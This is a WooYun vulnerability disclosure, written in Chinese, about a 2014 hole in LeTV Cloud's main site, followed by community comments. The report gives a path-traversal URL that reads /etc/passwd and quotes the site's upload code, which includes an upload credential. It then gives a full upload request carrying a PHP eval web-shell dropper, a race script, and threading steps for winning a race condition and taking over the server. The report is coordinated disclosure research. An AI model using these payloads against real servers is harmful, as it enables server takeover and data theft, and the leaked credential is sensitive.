当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087250

漏洞标题:乐视云主站可getshell

相关厂商:乐视网

漏洞作者: 杀器王子

提交时间:2014-12-15 16:54

修复时间:2015-01-29 16:56

公开时间:2015-01-29 16:56

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-15: 细节已通知厂商并且等待厂商处理中
2014-12-15: 厂商已经确认,细节仅向厂商公开
2014-12-25: 细节向核心白帽子及相关领域专家公开
2015-01-04: 细节向普通白帽子公开
2015-01-14: 细节向实习白帽子公开
2015-01-29: 细节向公众公开

简要描述:

乐视云主站由于代码上的设计权限 fuzz可getshell

详细说明:

http://www.letvcloud.com/api/docdownload/?filename=../../../../../../../../../../../etc/passwd 可以任意文件下载

Snip20141215_6.png


读这个文件www/Home/Lib/Action/VideoAction.class.php
1387行开始

}else{//只支持jpeg格式上传
$max_file_size = 2000000;//上传文件大小限制最大为2M, 单位BYTE
if($file['type'] != 'image/jpeg' && $file['type'] != 'image/pjpeg'){
$error_message = "<font color='red'>图片只支持jpg格式!</font>";
echo '
<script>
(function(){
parent.document.getElementById("'.$txtid.'").innerHTML="'.$error_message.'";
})();
</script>
';
exit;
}

if($max_file_size < $file["size"]){
$error_message = "<font color='red'>文件最大不应超过2M!</font>";
echo '
<script>
(function(){
parent.document.getElementById("'.$txtid.'").innerHTML="'.$error_message.'";
})();
</script>
';
exit;
}
}
$dest_folder = "Public/img/";
if(!file_exists($dest_folder)){
mkdir($dest_folder);
}

$pinfo=pathinfo($file['name']);
$newfilename = md5(time()).".".$pinfo['extension'];
$destination = $dest_folder.$newfilename;
if( move_uploaded_file ($filename, $destination) ){
$url = 'http://upload.letvcdn.com:8000/single_upload_tool.php';
$data = array(
"isphone " => "1",
"username" =>"isleju",
"md5str" =>"26f6c33c801913158424f7d3fbd6d0c3",
"single_upload_submit" => "",
"single_upload_file" => "@".realpath($destination), //文件名改为你要上传的文件名称
"single_upload_submit"=>"ok"
);
$urldatajson = uploadByCURL($data,$url);
$urldata = json_decode($urldatajson,true);
unlink($destination);


把上传的文件进行了unlink,但是中间有一步上传到其他服务器,会留下时间差
利用这个时间差 我们可以getshell
第一个包

POST /video/imgupload HTTP/1.1
Host: www.letvcloud.com
Proxy-Connection: keep-alive
Content-Length: 450
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.letvcloud.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGFLdcAPyYpQq380J
Referer: http://www.letvcloud.com/video/edit/videoid/8682339
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: LETVCLOUDID=705140aba5a3dc13e1222394352ade2b; Hm_lvt_984e73b4d6ff5ece34ec3da984ece290=1418609297; Hm_lpvt_984e73b4d6ff5ece34ec3da984ece290=1418631122
------WebKitFormBoundaryGFLdcAPyYpQq380J
Content-Disposition: form-data; name="txtid"
load_message
------WebKitFormBoundaryGFLdcAPyYpQq380J
Content-Disposition: form-data; name="headImg"
headImg
------WebKitFormBoundaryGFLdcAPyYpQq380J
Content-Disposition: form-data; name="upfile"; filename="test§1§.php"
Content-Type: image/jpeg
<?php fputs(fopen('f.php','w'),'<?php eval($_POST[f])?>');?>
------WebKitFormBoundaryGFLdcAPyYpQq380J--


开20个线程不停发包,会不断的生成php文件并传往其他服务器
然后用下面脚本

<?php
$url="http://www.letvcloud.com/Public/img/".md5(time()).".php";
echo $url;
file_get_contents($url);
php?>


开一个更高线程发包
在文件被删除前 访问上传成功的php 会重新写入一个php导致getshell

漏洞证明:

Snip20141215_7.png

修复方案:

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-12-15 18:00

厂商回复:

必须修复~~~~~王子,好人啊~~~~

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-15 16:57 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    要不要打雷,我在犹豫

  2. 2014-12-15 16:58 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    乐视的还能下班吗?

  3. 2014-12-15 17:00 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    大杀器放出来就劈

  4. 2014-12-15 17:15 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    “大王杀不杀,杀不杀,杀不杀?”“杀,杀,杀!”

  5. 2014-12-15 17:16 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    挺牛的

  6. 2014-12-15 17:17 | nextdoor ( 普通白帽子 | Rank:325 漏洞数:74 )

    以为是乐视主站

  7. 2014-12-15 17:54 | 盛大网络(乌云厂商)

    ......

  8. 2014-12-15 18:16 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    屌!

  9. 2014-12-15 18:18 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    牛!

  10. 2014-12-15 20:26 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    @浩天 把漏洞详情悄悄发给我,我帮你看看要不要打雷,嘿嘿~

  11. 2014-12-15 21:21 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

  12. 2014-12-17 11:40 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    坐等公开

  13. 2014-12-22 17:06 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

  14. 2015-01-29 17:16 | greg.wu ( 普通白帽子 | Rank:815 漏洞数:99 | 打酱油的~)

    好经典的案例

  15. 2015-01-29 17:44 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    脑洞大开可以雷1

  16. 2015-01-29 18:22 | diguoji ( 普通白帽子 | Rank:323 漏洞数:79 | 中国吉林长春)

    牛B

  17. 2015-01-30 10:41 | PSoul ( 路人 | Rank:27 漏洞数:5 )

    我想知道。。从任意文件下载是如何联系到读取www/Home/Lib/Action/VideoAction.class.php这个文件的??在盲猜的情况下弄到源码么??而且为什么这么准刚好这个文件有漏洞

  18. 2015-01-30 10:57 | plane636 ( 普通白帽子 | Rank:160 漏洞数:16 )

    同楼上

  19. 2015-01-30 11:57 | 杀器王子 认证白帽子 ( 普通白帽子 | Rank:1532 漏洞数:121 | 磨刀霍霍向猪羊)

    @PSoul 一个框架读到入口文件了 爬整个源码很难么?

  20. 2015-01-30 13:03 | PSoul ( 路人 | Rank:27 漏洞数:5 )

    @杀器王子 好吧,小菜鸟出丑了 :)

  21. 2015-01-31 22:14 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    思路

  22. 2015-02-05 13:10 | 斯杰 ( 路人 | Rank:10 漏洞数:5 | By:S丶jer)

    思路

  23. 2015-04-21 19:42 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    大牛调整线程数目的tip是啥呢/

  24. 2015-04-21 20:18 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    利用竞争条件getshell的真实案例,杀气王子好厉害。。。

  25. 2015-04-21 21:13 | blackexp ( 实习白帽子 | Rank:36 漏洞数:13 | 一点一点的渗透到...)

    学习了,这思路真棒

  26. 2015-04-23 09:27 | Roar ( 路人 | Rank:0 漏洞数:1 | Hello world.)

    杀意已决

  27. 2015-05-07 17:40 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    屌爆了

  28. 2015-07-31 13:28 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ:867597730,百度贴吧ID:昌维001)

    第一次看到这么新颖的思路(⊙0⊙)